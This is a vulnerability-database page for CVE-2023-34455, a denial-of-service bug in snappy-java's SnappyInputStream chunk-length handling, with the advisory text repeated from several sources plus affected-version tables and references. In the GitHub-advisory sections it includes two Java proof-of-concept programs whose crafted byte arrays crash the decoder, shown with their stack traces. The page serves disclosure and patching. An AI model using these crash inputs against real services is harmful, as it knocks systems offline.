CVE-2023-34455
snappy-java's unchecked chunk length leads to DoS
snappy-java is a fast compressor/decompressor for Java. Due to use of an unchecked chunk length, an unrecoverable fatal error can occur in versions prior to 1.1.10.1.
The code in the function hasNextChunk in the fileSnappyInputStream.java checks if a given stream has more chunks to read. It does that by attempting to read 4 bytes. If it wasn’t possible to read the 4 bytes, the function returns false. Otherwise, if 4 bytes were available, the code treats them as the length of the next chunk.
In the case that the compressed variable is null, a byte array is allocated with the size given by the input data. Since the code doesn’t test the legality of the chunkSize variable, it is possible to pass a negative number (such as 0xFFFFFFFF which is -1), which will cause the code to raise a java.lang.NegativeArraySizeException exception. A worse case would happen when passing a huge positive value (such as 0x7FFFFFFF), which would raise the fatal java.lang.OutOfMemoryError error.
Version 1.1.10.1 contains a patch for this issue.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- None
- Integrity
- None
- Availability
- High
Exploit likelihood
What each source reports
CVE List Score used
7.5
snappy-java's unchecked chunk length leads to DoS
snappy-java is a fast compressor/decompressor for Java. Due to use of an unchecked chunk length, an unrecoverable fatal error can occur in versions prior to 1.1.10.1.
The code in the function hasNextChunk in the fileSnappyInputStream.java checks if a given stream has more chunks to read. It does that by attempting to read 4 bytes. If it wasn’t possible to read the 4 bytes, the function returns false. Otherwise, if 4 bytes were available, the code treats them as the length of the next chunk.
In the case that the compressed variable is null, a byte array is allocated with the size given by the input data. Since the code doesn’t test the legality of the chunkSize variable, it is possible to pass a negative number (such as 0xFFFFFFFF which is -1), which will cause the code to raise a java.lang.NegativeArraySizeException exception. A worse case would happen when passing a huge positive value (such as 0x7FFFFFFF), which would raise the fatal java.lang.OutOfMemoryError error.
Version 1.1.10.1 contains a patch for this issue.
- Record
CVE-2023-34455- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-770
- Updated
- 2026-11-02
EUVDEUVD-2023-1867
7.5
snappy-java is a fast compressor/decompressor for Java. Due to use of an unchecked chunk length, an unrecoverable fatal error can occur in versions prior to 1.1.10.1.
The code in the function hasNextChunk in the fileSnappyInputStream.java checks if a given stream has more chunks to read. It does that by attempting to read 4 bytes. If it wasn’t possible to read the 4 bytes, the function returns false. Otherwise, if 4 bytes were available, the code treats them as the length of the next chunk.
In the case that the compressed variable is null, a byte array is allocated with the size given by the input data. Since the code doesn’t test the legality of the chunkSize variable, it is possible to pass a negative number (such as 0xFFFFFFFF which is -1), which will cause the code to raise a java.lang.NegativeArraySizeException exception. A worse case would happen when passing a huge positive value (such as 0x7FFFFFFF), which would raise the fatal java.lang.OutOfMemoryError error.
Version 1.1.10.1 contains a patch for this issue.
- Record
EUVD-2023-1867- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-03
GitHub AdvisoriesGHSA-qcwq-55hx-v3vh
7.5
snappy-java's unchecked chunk length leads to DoS
Summary
Due to use of an unchecked chunk length, an unrecoverable fatal error can occur.
Impact
Denial of Service
Description
The code in the function hasNextChunk in the file SnappyInputStream.java checks if a given stream has more chunks to read. It does that by attempting to read 4 bytes. If it wasn’t possible to read the 4 bytes, the function returns false. Otherwise, if 4 bytes were available, the code treats them as the length of the next chunk.
int readBytes = readNext(header, 0, 4);
if (readBytes < 4) {
return false;
}
int chunkSize = SnappyOutputStream.readInt(header, 0);
if (chunkSize == SnappyCodec.MAGIC_HEADER_HEAD) {
.........
}
// extend the compressed data buffer size
if (compressed == null || chunkSize > compressed.length) {
compressed = new byte[chunkSize];
}
In the case that the “compressed” variable is null, a byte array is allocated with the size given by the input data. Since the code doesn’t test the legality of the “chunkSize” variable, it is possible to pass a negative number (such as 0xFFFFFFFF which is -1), which will cause the code to raise a “java.lang.NegativeArraySizeException” exception. A worse case would happen when passing a huge positive value (such as 0x7FFFFFFF), which would raise the fatal “java.lang.OutOfMemoryError” error.
Steps To Reproduce
Compile and run the following code:
package org.example;
import org.xerial.snappy.SnappyInputStream;
import java.io.*;
public class Main {
public static void main(String[] args) throws IOException {
byte[] data = {-126, 'S', 'N', 'A', 'P', 'P', 'Y', 0, 0, 0, 0, 0, 0, 0, 0, 0,(byte) 0x7f, (byte) 0xff, (byte) 0xff, (byte) 0xff};
SnappyInputStream in = new SnappyInputStream(new ByteArrayInputStream(data));
byte[] out = new byte[50];
try {
in.read(out);
}
catch (Exception ignored) {
}
}
}
The program will crash with the following error (or similar), even though there is a catch clause, since “OutOfMemoryError” does not get caught by catching the “Exception” class:
Exception in thread "main" java.lang.OutOfMemoryError: Requested array size exceeds VM limit
at org.xerial.snappy.SnappyInputStream.hasNextChunk(SnappyInputStream.java:422)
at org.xerial.snappy.SnappyInputStream.read(SnappyInputStream.java:167)
at java.base/java.io.InputStream.read(InputStream.java:217)
at org.example.Main.main(Main.java:12)
Alternatively - compile and run the following code:
package org.example;
import org.xerial.snappy.SnappyInputStream;
import java.io.*;
public class Main {
public static void main(String[] args) throws IOException {
byte[] data = {-126, 'S', 'N', 'A', 'P', 'P', 'Y', 0, 0, 0, 0, 0, 0, 0, 0, 0,(byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff};
SnappyInputStream in = new SnappyInputStream(new ByteArrayInputStream(data));
byte[] out = new byte[50];
in.read(out);
}
}
The program will crash with the following error (or similar):
Exception in thread "main" java.lang.NegativeArraySizeException: -1
at org.xerial.snappy.SnappyInputStream.hasNextChunk(SnappyInputStream.java:422)
at org.xerial.snappy.SnappyInputStream.read(SnappyInputStream.java:167)
at java.base/java.io.InputStream.read(InputStream.java:217)
at org.example.Main.main(Main.java:12)
It is important to note that these examples were written by using a flow that is generally used by developers, and can be seen for example in the Apache project “flume”:…
- Record
GHSA-qcwq-55hx-v3vh- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-770
- Updated
- 2026-11-02
NVD
7.5
snappy-java is a fast compressor/decompressor for Java. Due to use of an unchecked chunk length, an unrecoverable fatal error can occur in versions prior to 1.1.10.1.
The code in the function hasNextChunk in the fileSnappyInputStream.java checks if a given stream has more chunks to read. It does that by attempting to read 4 bytes. If it wasn’t possible to read the 4 bytes, the function returns false. Otherwise, if 4 bytes were available, the code treats them as the length of the next chunk.
In the case that the compressed variable is null, a byte array is allocated with the size given by the input data. Since the code doesn’t test the legality of the chunkSize variable, it is possible to pass a negative number (such as 0xFFFFFFFF which is -1), which will cause the code to raise a java.lang.NegativeArraySizeException exception. A worse case would happen when passing a huge positive value (such as 0x7FFFFFFF), which would raise the fatal java.lang.OutOfMemoryError error.
Version 1.1.10.1 contains a patch for this issue.
- Record
CVE-2023-34455- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-770
- Updated
- 2026-11-02
OSV
7.5
snappy-java's unchecked chunk length leads to DoS
snappy-java is a fast compressor/decompressor for Java. Due to use of an unchecked chunk length, an unrecoverable fatal error can occur in versions prior to 1.1.10.1.
The code in the function hasNextChunk in the fileSnappyInputStream.java checks if a given stream has more chunks to read. It does that by attempting to read 4 bytes. If it wasn’t possible to read the 4 bytes, the function returns false. Otherwise, if 4 bytes were available, the code treats them as the length of the next chunk.
In the case that the compressed variable is null, a byte array is allocated with the size given by the input data. Since the code doesn’t test the legality of the chunkSize variable, it is possible to pass a negative number (such as 0xFFFFFFFF which is -1), which will cause the code to raise a java.lang.NegativeArraySizeException exception. A worse case would happen when passing a huge positive value (such as 0x7FFFFFFF), which would raise the fatal java.lang.OutOfMemoryError error.
Version 1.1.10.1 contains a patch for this issue.
- Record
CVE-2023-34455- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-770
- Updated
- 2026-11-02
OSVGHSA-qcwq-55hx-v3vh
7.5
snappy-java's unchecked chunk length leads to DoS
Summary
Due to use of an unchecked chunk length, an unrecoverable fatal error can occur.
Impact
Denial of Service
Description
The code in the function hasNextChunk in the file SnappyInputStream.java checks if a given stream has more chunks to read. It does that by attempting to read 4 bytes. If it wasn’t possible to read the 4 bytes, the function returns false. Otherwise, if 4 bytes were available, the code treats them as the length of the next chunk.
int readBytes = readNext(header, 0, 4);
if (readBytes < 4) {
return false;
}
int chunkSize = SnappyOutputStream.readInt(header, 0);
if (chunkSize == SnappyCodec.MAGIC_HEADER_HEAD) {
.........
}
// extend the compressed data buffer size
if (compressed == null || chunkSize > compressed.length) {
compressed = new byte[chunkSize];
}
In the case that the “compressed” variable is null, a byte array is allocated with the size given by the input data. Since the code doesn’t test the legality of the “chunkSize” variable, it is possible to pass a negative number (such as 0xFFFFFFFF which is -1), which will cause the code to raise a “java.lang.NegativeArraySizeException” exception. A worse case would happen when passing a huge positive value (such as 0x7FFFFFFF), which would raise the fatal “java.lang.OutOfMemoryError” error.
Steps To Reproduce
Compile and run the following code:
package org.example;
import org.xerial.snappy.SnappyInputStream;
import java.io.*;
public class Main {
public static void main(String[] args) throws IOException {
byte[] data = {-126, 'S', 'N', 'A', 'P', 'P', 'Y', 0, 0, 0, 0, 0, 0, 0, 0, 0,(byte) 0x7f, (byte) 0xff, (byte) 0xff, (byte) 0xff};
SnappyInputStream in = new SnappyInputStream(new ByteArrayInputStream(data));
byte[] out = new byte[50];
try {
in.read(out);
}
catch (Exception ignored) {
}
}
}
The program will crash with the following error (or similar), even though there is a catch clause, since “OutOfMemoryError” does not get caught by catching the “Exception” class:
Exception in thread "main" java.lang.OutOfMemoryError: Requested array size exceeds VM limit
at org.xerial.snappy.SnappyInputStream.hasNextChunk(SnappyInputStream.java:422)
at org.xerial.snappy.SnappyInputStream.read(SnappyInputStream.java:167)
at java.base/java.io.InputStream.read(InputStream.java:217)
at org.example.Main.main(Main.java:12)
Alternatively - compile and run the following code:
package org.example;
import org.xerial.snappy.SnappyInputStream;
import java.io.*;
public class Main {
public static void main(String[] args) throws IOException {
byte[] data = {-126, 'S', 'N', 'A', 'P', 'P', 'Y', 0, 0, 0, 0, 0, 0, 0, 0, 0,(byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff};
SnappyInputStream in = new SnappyInputStream(new ByteArrayInputStream(data));
byte[] out = new byte[50];
in.read(out);
}
}
The program will crash with the following error (or similar):
Exception in thread "main" java.lang.NegativeArraySizeException: -1
at org.xerial.snappy.SnappyInputStream.hasNextChunk(SnappyInputStream.java:422)
at org.xerial.snappy.SnappyInputStream.read(SnappyInputStream.java:167)
at java.base/java.io.InputStream.read(InputStream.java:217)
at org.example.Main.main(Main.java:12)
It is important to note that these examples were written by using a flow that is generally used by developers, and can be seen for example in the Apache project “flume”:…
- Record
GHSA-qcwq-55hx-v3vh- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-770
- Updated
- 2026-11-02
Show 5 moreShow less
OSVOESA-2023-1398
7.5
snappy-java security update
A Java port of the snappy, a fast compresser/decompresser written in C++.
Security Fix(es):
snappy-java is a fast compressor/decompressor for Java. Due to unchecked multiplications, an integer overflow may occur in versions prior to 1.1.10.1, causing an unrecoverable fatal error.
The function compress(char[] input) in the file Snappy.java receives an array of characters and compresses it. It does so by multiplying the length by 2 and passing it to the rawCompress` function.
Since the length is not tested, the multiplication by two can cause an integer overflow and become negative. The rawCompress function then uses the received length and passes it to the natively compiled maxCompressedLength function, using the returned value to allocate a byte array.
Since the maxCompressedLength function treats the length as an unsigned integer, it doesn’t care that it is negative, and it returns a valid value, which is casted to a signed integer by the Java engine. If the result is negative, a java.lang.NegativeArraySizeException exception will be raised while trying to allocate the array buf. On the other side, if the result is positive, the buf array will successfully be allocated, but its size might be too small to use for the compression, causing a fatal Access Violation error.
The same issue exists also when using the compress functions that receive double, float, int, long and short, each using a different multiplier that may cause the same issue. The issue most likely won’t occur when using a byte array, since creating a byte array of size 0x80000000 (or any other negative value) is impossible in the first place.
Version 1.1.10.1 contains a patch for this issue.(CVE-2023-34454)
snappy-java is a fast compressor/decompressor for Java. Due to use of an unchecked chunk length, an unrecoverable fatal error can occur in versions prior to 1.1.10.1.
The code in the function hasNextChunk in the fileSnappyInputStream.java checks if a given stream has more chunks to read. It does that by attempting to read 4 bytes. If it wasn’t possible to read the 4 bytes, the function returns false. Otherwise, if 4 bytes were available, the code treats them as the length of the next chunk.
In the case that the compressed variable is null, a byte array is allocated with the size given by the input data. Since the code doesn’t test the legality of the chunkSize variable, it is possible to pass a negative number (such as 0xFFFFFFFF which is -1), which will cause the code to raise a java.lang.NegativeArraySizeException exception. A worse case would happen when passing a huge positive value (such as 0x7FFFFFFF), which would raise the fatal java.lang.OutOfMemoryError error.
Version 1.1.10.1 contains a patch for this issue.(CVE-2023-34455)
- Record
OESA-2023-1398- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
OSVROOT-APP-MAVEN-CVE-2023-34455
7.5
CVE-2023-34455 in io.root.org.xerial.snappy:snappy-java - Patched by Root
Root has patched CVE-2023-34455 in the io.root.org.xerial.snappy:snappy-java package for Root:Maven. Multiple fixed versions available.
- Record
ROOT-APP-MAVEN-CVE-2023-34455- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
OSVUBUNTU-CVE-2023-34455
7.5
snappy-java is a fast compressor/decompressor for Java. Due to use of an unchecked chunk length, an unrecoverable fatal error can occur in versions prior to 1.1.10.1. The code in the function hasNextChunk in the fileSnappyInputStream.java checks if a given stream has more chunks to read. It does that by attempting to read 4 bytes. If it wasn’t possible to read the 4 bytes, the function returns false. Otherwise, if 4 bytes were available, the code treats them as the length of the next chunk. In the case that the compressed variable is null, a byte array is allocated with the size given by the input data. Since the code doesn’t test the legality of the chunkSize variable, it is possible to pass a negative number (such as 0xFFFFFFFF which is -1), which will cause the code to raise a java.lang.NegativeArraySizeException exception. A worse case would happen when passing a huge positive value (such as 0x7FFFFFFF), which would raise the fatal java.lang.OutOfMemoryError error. Version 1.1.10.1 contains a patch for this issue.
- Record
UBUNTU-CVE-2023-34455- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
OSVCLSA-2024-1732492826 No score
TuxCare security update for org.xerial.snappy:snappy-java (4 CVEs)
TuxCare rebuilt org.xerial.snappy:snappy-java to address 4 CVEs. Fixed in 1.1.8.4.tuxcare.
- Record
CLSA-2024-1732492826- Updated
- 2026-11-02
OSVCLSA-2026-1774743847 No score
TuxCare security update for org.xerial.snappy:snappy-java (1 CVE)
TuxCare rebuilt org.xerial.snappy:snappy-java to address 1 CVE. Fixed in 1.1.2-tuxcare.1.
- Record
CLSA-2026-1774743847- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
org.xerial.snappy:snappy-javaMaven |
through 1.1.10.0 | 1.1.10.1 |
org.xerial.snappy:snappy-javaTuxCare:Maven From an advisory covering 4 CVEs |
1.1.8.4 up to 1.1.8.4.tuxcare | 1.1.8.4.tuxcare |
org.xerial.snappy:snappy-javaTuxCare:Maven |
1.1.2 up to 1.1.2-tuxcare.1 | 1.1.2-tuxcare.1 |
org.xerial.snappy:snappy-javaMaven |
before 1.1.10.1, plus listed versions 1.0.1-rc11.0.1-rc21.0.1-rc31.0.1-rc41.0.3 Show 45 moreShow less1.0.3-rc11.0.3-rc21.0.3-rc31.0.3-rc41.0.3.11.0.3.21.0.3.31.0.41.0.4.11.0.51.0.5-M11.0.5-M21.0.5-M31.0.5-M41.0.5.11.0.5.21.0.5.31.0.5.41.1.01.1.0-M11.1.0-M21.1.0-M31.1.0-M41.1.0.11.1.11.1.1-M11.1.1-M21.1.1-M31.1.1-M41.1.1.11.1.1.21.1.1.31.1.1.41.1.1.51.1.1.61.1.1.71.1.10.01.1.21.1.2-M11.1.2-RC11.1.2-RC21.1.2-RC31.1.2.11.1.2.21.1.2.3 |
1.1.10.1 |
snappy-javaopenEuler:20.03-LTS-SP1 From an advisory covering 2 CVEs |
before 1.1.2.4-2.oe1 | 1.1.2.4-2.oe1 |
snappy-javaopenEuler:20.03-LTS-SP3 From an advisory covering 2 CVEs |
before 1.1.2.4-2.oe1 | 1.1.2.4-2.oe1 |
snappy-javaopenEuler:22.03-LTS From an advisory covering 2 CVEs |
before 1.1.2.4-2.oe2203sp2 | 1.1.2.4-2.oe2203sp2 |
snappy-javaopenEuler:22.03-LTS-SP1 From an advisory covering 2 CVEs |
before 1.1.2.4-2.oe2203sp1 | 1.1.2.4-2.oe2203sp1 |
snappy-javaopenEuler:22.03-LTS-SP2 From an advisory covering 2 CVEs |
before 1.1.2.4-2.oe2203sp2 | 1.1.2.4-2.oe2203sp2 |
io.root.org.xerial.snappy:snappy-javaRoot:Maven |
before 1.1.10.0-root.io.1 | 1.1.10.0-root.io.11.1.10.0-root.io.21.1.10.1-root.io.11.1.10.1-root.io.2 |
Show 10 moreShow less
| Package | Affected | Fixed |
|---|---|---|
org.xerial.snappy:snappy-javaRoot:Maven |
before 1.1.10.0-aikido.2 | 1.1.10.0-aikido.21.1.10.1-aikido.2 |
snappy-javaUbuntu:14.04:LTS |
All versions, plus listed versions 1.0.4.1~dfsg-1 |
None known |
snappy-javaUbuntu:16.04:LTS |
All versions, plus listed versions 1.1.1.7-21.1.2-11.1.2.1-2 |
None known |
snappy-javaUbuntu:18.04:LTS |
All versions, plus listed versions 1.1.4-1 |
None known |
snappy-javaUbuntu:20.04:LTS |
All versions, plus listed versions 1.1.7.2-11.1.7.3-11.1.7.3-1build1 |
None known |
snappy-javaUbuntu:22.04:LTS |
All versions, plus listed versions 1.1.8.3-1 |
None known |
snappy-javaUbuntu:24.04:LTS |
All versions, plus listed versions 1.1.8.3-11.1.10.5-11.1.10.5-1build1 |
None known |
snappy-javaUbuntu:25.10 |
All versions, plus listed versions 1.1.10.7-1 |
None known |
snappy-javaUbuntu:26.10 |
All versions, plus listed versions 1.1.10.8-1 |
None known |
snappy-javaUbuntu:26.04:LTS |
All versions, plus listed versions 1.1.10.7-11.1.10.8-1 |
None known |
History
| Recorded | Changed | Sources |
|---|---|---|
| affected, facts | ||
| aliases, published | EUVD | |
| first indexed | CVE List, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2023-34455 is a high vulnerability (CVSS 7.5) in Xerial Snappy-java, published June 15, 2023. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 1.76%, the 78th percentile. Fixed in org.xerial.snappy:snappy-java 1.1.10.1.
References
github.com/xerial/snappy-java/security/advisories/GHSA-qcwq-55hx-v3vh
github.com/xerial/snappy-java/commit/3bf67857fcf70d9eea56eed4af7c925671e8eaea
github.com/xerial/snappy-java/blob/05c39b2ca9b5b7b39611529cc302d3d796329611/src/main/java/org/xerial/snappy/SnappyInputStream.java
github.com/xerial/snappy-java/blob/master/src/main/java/org/xerial/snappy/SnappyInputStream.java
security.netapp.com/advisory/ntap-20230818-0009
nvd.nist.gov/vuln/detail/CVE-2023-34455
Show 7 moreShow less
github.com/advisories/GHSA-qcwq-55hx-v3vh
github.com/CVEProject/cvelistV5/tree/main/cves/2023/34xxx/CVE-2023-34455.json
github.com/xerial/snappy-java
openeuler.org/en/security/safety-bulletin/detail.html?id=openEuler-SA-2023-1398
nvd.nist.gov/vuln/detail/CVE-2023-34454
ubuntu.com/security/CVE-2023-34455
cve.org/CVERecord?id=CVE-2023-34455
Left out here: 25 versions and the rest of 2 source descriptions. The JSON record has them.